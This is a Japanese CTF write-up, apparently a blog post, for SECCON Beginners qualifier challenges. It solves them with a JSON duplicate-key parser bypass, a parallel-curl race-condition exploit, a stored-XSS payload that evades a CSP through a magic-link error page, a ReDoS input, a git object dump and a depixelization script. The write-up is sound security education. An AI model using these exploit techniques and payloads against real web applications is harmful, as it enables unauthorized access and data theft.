package main import ( "io/ioutil" "os" "github.com/buger/jsonparser" "github.com/gin-gonic/gin" ) func main() { r := gin.Default() r.POST("/", func(c *gin.Context) { body, err := ioutil.ReadAll(c.Request.Body) if err != nil { c.String(400, "Failed to read body") return } id, err := jsonparser.GetInt(body, "id") if err != nil { c.String(400, "Failed to parse json") return } if id == 0 { c.String(200, "The quick brown fox jumps over the lazy dog.") return } if id == 1 { c.String(200, "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.") return } if id == 2 { // Flag!!! flag := os.Getenv("FLAG") c.String(200, flag) return } c.String(400, "No data") }) ... }
{"id":2}
にしてアクセスできればフラグが得られるようです。bffで弾かれないようなリクエストを考えましょう。
よく見ると、bffはencoding/json
、apiはgithub.com/buger/jsonparser
を使っています。それにbffではinfo.ID
、apiではid
を使っているので大文字小文字の違いでバイパスできないでしょうか。同じJSONにID
とid
を入れてみます。
>>> req.post("https://json.quals.beginners.seccon.jp/", headers={"X-Forwarded-For": "192.168.111.1"}, json={"ID": 2, "id": 1}).text '{"result":"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."}'
駄目でした。逆にしてみます。
>>> req.post("https://json.quals.beginners.seccon.jp/", headers={"X-Forwarded-For": "192.168.111.1"}, json={"id": 2, "ID": 1}).text '{"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}'
フラグが得られました。他のWriteupを見ると大文字小文字じゃなくて、ライブラリがキーを前から見るか後ろから見るかの違いが問題だそうです。
ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}
cant_use_db[206 solved]
$10000のNoodlesを二つ、$20000のsoupを一つ買えばフラグが得られますが、持ち金は$20000しかありません。
ここでNoodlesを買うボタンを適当に連打していたら、$10000で4つ買えてしまいました。Race Conditionが起きていそうですね。ソースコードを調べたら確かに排他制御がされていません。
@app.route("/buy_noodles", methods=["POST"]) def buy_noodles(): user_id = session.get("user") if not user_id: return redirect("/") balance, noodles, soup = get_userdata(user_id) if balance >= 10000: noodles += 1 open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles)) time.sleep(random.uniform(-0.2, 0.2) + 1.0) balance -= 10000 open(f"./users/{user_id}/balance.txt", "w").write(str(balance)) return "💸$10000" return "ERROR: INSUFFICIENT FUNDS"
このとき、noodlesを増やしてからbalanceを減らすまでの間に再度noodlesを買えば、お金が減って買えなくなるまでに限界を超えて購入することができます。/buy_soup
も同じような処理だったので、一気にnoodlesを二つ、soupを一つ買うスクリプトを実行して、その後手動でフラグを見ることができました。
echo $1 # session cookie curl -X POST --insecure -b "session=$1;" https://cant-use-db.quals.beginners.seccon.jp/buy_noodles & \ curl -X POST --insecure -b "session=$1;" https://cant-use-db.quals.beginners.seccon.jp/buy_noodles & \ curl -X POST --insecure -b "session=$1;" https://cant-use-db.quals.beginners.seccon.jp/buy_soup
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
magic [31 solved]
アカウント制のメモ帳サービスです。外部から自分のページを見れるリンクはありませんが、URL一つでログインできるマジックリンクの機能があります。また、管理者にリンクを報告できるページがあります。リンクを報告されたとき、管理者はこのように動きます。
// login admin's page await page.goto(APP_URL + "login", { waitUntil: "networkidle2", timeout: 3000, }); await page.type('input[name="username"]', USERNAME); await page.type('input[name="password"]', PASSWORD); await Promise.all([ page.click('button[type="submit"]'), page.waitForNavigation({ waitUntil: "networkidle2", timeout: 3000, }), ]); // type FLAG in memo field await page.type('input[name="text"]', FLAG); await page.click("h1"); // Oh, a URL has arrived. Let's check it. // (If you set `login` as path in Report page, admin accesses `https://magic.quals.beginners.seccon.jp/login` here.) await page.goto(APP_URL + path, { waitUntil: "networkidle2", timeout: 3000, });
管理者のページのメモの入力フィールドにフラグを入力した後に報告されたリンクに遷移しています。
また、ページで動いているindex.jsも見てみます。
if (localStorage.getItem("memo")) { document.getElementById("memoField").value = localStorage.getItem("memo"); } document.getElementById("memoField").addEventListener("change", (event) => { localStorage.setItem("memo", document.getElementById("memoField").value); }); ...
メモの入力フィールドに入力した内容はlocalStorageに保存されています。
さて、調べるとメモ帳に単純なStored XSSがあることがわかります。管理者に自分のマジックリンクを踏ませてログインさせ、自分のページでXSSを発火させてlocalStorageからフラグを窃取すれば良さそうに思えます。
しかし、Content Security PolicyというXSSを制限させる機能が設定されています。
// CSP app.use(function (req, res, next) { res.setHeader( "Content-Security-Policy", "style-src 'self' ; script-src 'self' ; object-src 'none' ; font-src 'none'" ); next(); });
このCSPは、CSSとJavascriptは現在のサイトと同じサイトからしか読み込めず<script></script>
のようなインライン要素も許可せず、iframeなどの埋め込み要素は全て拒否し、フォントを外部から参照することも許可しないという意味です。つまり単純に<script>alert(1)</sctipt>
と入れてもJSは実行されません。
さて、つまり何とかしてサイト内のJSコードを使ってXSSしなければなりません。DOM XSSが思いつきますが、そんな都合のいいコードはないです。
ここで、メモにJavascriptのコードを書いて、自分のページをJSとして解釈させればいいのでは?と思いつきました。しかし、HTMLをJSとして解釈させるのは無理があるので冒頭でエラーになります。何か他に内容を操作できるページはないでしょうか。
調べると、マジックリンクのエラーページが都合が良いことがわかります。
app.get("/magic", async (req, res, next) => { ... const result = await query( "SELECT id, name FROM user WHERE magic_token = ?", [token] ); if (result.length !== 1) { return res.status(200).send(escapeHTML(token) + " is invalid token."); } ... }); ... function escapeHTML(string) { return string .replace(/\&/g, "&") .replace(/\</g, "<") .replace(/\>/g, ">") .replace(/\"/g, """) .replace(/\'/g, "'"); }
例えば/magic?token=hogehoge
を叩くとhogehoge is invalid token
と表示されます。
これを使い、/magic?token=alert(1) //
を叩いてalert(1) // is invalid token
という文字列を生成します。これをJSのコードとして解釈させます。
メモ帳に<script src="/magic?token=alert(1) //"></script>
を保存してみると、XSSが発火されalertが実行されました。
後はペイロードを作るだけ。しかし、escapeHTML
により一部文字がエスケープされていますので文字列が作れません。このあたりはTextDecoder
あたりでごまかしましょう。
ちょうどマジックリンクで自分のページにログインさせるので、自分のページにフラグを送信させます。
<script src="/static/index.js"></script><script src="/magic?token=document.getElementById(new TextDecoder().decode(new Uint8Array([115, 97, 118, 101, 77, 101, 109, 111]))).click(); //"></script>
を自分のページに保存し、管理者に自分のマジックリンクを報告するとフラグが自分のページに保存されます。
ctf4b{w0w_y0ur_skil1ful_3xploi7_c0de_1s_lik3_4_ma6ic_7rick}
misc
git-leak [410 solved]
.gitが入ったディレクトリが与えられます。git reflogでフラグに関係するcommitがないか追ってみます。
❯ git reflog e0b545f (HEAD -> master) HEAD@{0}: commit (amend): feat: めもを追加 80f3044 HEAD@{1}: commit (amend): feat: めもを追加 b3bfb5c HEAD@{2}: rebase -i (finish): returning to refs/heads/master b3bfb5c HEAD@{3}: commit (amend): feat: めもを追加 7387982 HEAD@{4}: rebase -i: fast-forward 36a4809 HEAD@{5}: rebase -i (start): checkout HEAD~2 7387982 HEAD@{6}: reset: moving to HEAD 7387982 HEAD@{7}: commit: feat: めもを追加 36a4809 HEAD@{8}: commit: feat: commit-treeの説明を追加 9ac9b0c HEAD@{9}: commit: change: 順番を変更 8fc078d HEAD@{10}: commit: feat: git cat-fileの説明を追加 d3b47fe HEAD@{11}: commit: feat: fsckを追記する f66de64 HEAD@{12}: commit: feat: reflogの説明追加 d5aeffe HEAD@{13}: commit: feat: resetの説明を追加 a4f7fe9 HEAD@{14}: commit: feat: git logの説明を追加 9fcb006 HEAD@{15}: commit: feat: git commitの説明追加 6d21e22 HEAD@{16}: commit: feat: git addの説明を追加 656db59 HEAD@{17}: commit: feat: add README.md c27f346 HEAD@{18}: commit (initial): initial commit
フラグという文字列が見えなかったのでとりあえずobjectを全列挙してみます。すると、フラグが得られました。
❯ cd .git/objects/ ❯ find . -wholename "./*/*"| sed "s/\///g" | sed s/\\.//g | xargs -I{} git cat-file -p {} | grep ctf ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
Mail Address Validator [288 solved]
#!/usr/bin/env ruby require 'timeout' $stdout.sync = true $stdin.sync = true pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i begin Timeout.timeout(60) { Process.wait Process.fork { puts "I check your mail address." puts "please puts your mail address." input = gets.chomp begin Timeout.timeout(5) { if input =~ pattern puts "Valid mail address!" else puts "Invalid mail address!" end } rescue Timeout::Error exit(status=14) end } case Process.last_status.to_i >> 8 when 0 then puts "bye." when 1 then puts "bye." when 14 then File.open("flag.txt", "r") do |f| puts f.read end else puts "What's happen?" end } rescue Timeout::Error puts "bye." end
/\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i
に合っているかを判定してくれて、タイムアウトしたらフラグが出力されます。(\.[a-z]+)*
の部分で任意長の任意長の文字列のマッチングが起こってるのでそこでReDOSすればよいでしょう。
❯ nc mail-address-validator.quals.beginners.seccon.jp 5100 I check your mail address. please puts your mail address. aaa@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.com ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
depixelization [166 solved]
import cv2 import numpy as np flag = "**********flag**********" print("FLAG: " + flag) images = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) for i in flag: # char2img img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) cv2.putText(img, i, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) # pixelization cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA) cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA) simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST) # concat if images.all(): images = img else: images = cv2.hconcat([images, img]) cv2.imwrite("output.png", images)
flagの画像にP,I,Xを加算して、画質を下げた画像が与えられます。
文字ごとに処理が独立しているので、文字ごとにpixelizationした画像を用意しておいて、output.pngと一文字ずつ比較すればよいです。
import cv2 import numpy as np import string flag = string.printable print("FLAG: " + flag) for i in flag: # char2img img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) cv2.putText(img, i, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) # pixelization cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA) cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA) simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST) cv2.imwrite(f"{ord(i)}.png", img)
で文字ごとの画像を用意して、
from PIL import Image import numpy as np import string import cv2 flag_img = np.array(Image.open("output.png")) chars = [np.array(Image.open(f"{ord(c)}.png")) for c in string.printable] def trim(array, x, y, width, height): return array[y:y + height, x:x+width] flag = "" for i in range(31): flag_c = trim(flag_img, 85 * i, 0, 85, 100) for j, c in enumerate(chars): if np.array_equal(c, flag_c): flag += string.printable[j] print(flag) break
でフラグを求めます。
ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}
感想
私が初めて出た常設でないCTFが去年のCTF4bで、その時は確かpwn1問、crypto1問、web2問、rev2問、misc1問でした。
今回は難易度は昨年よりは易しいように感じましたが、pwn・web・rev全完、crypto4問、misc3問と好成績を残せたのでとても満足しています。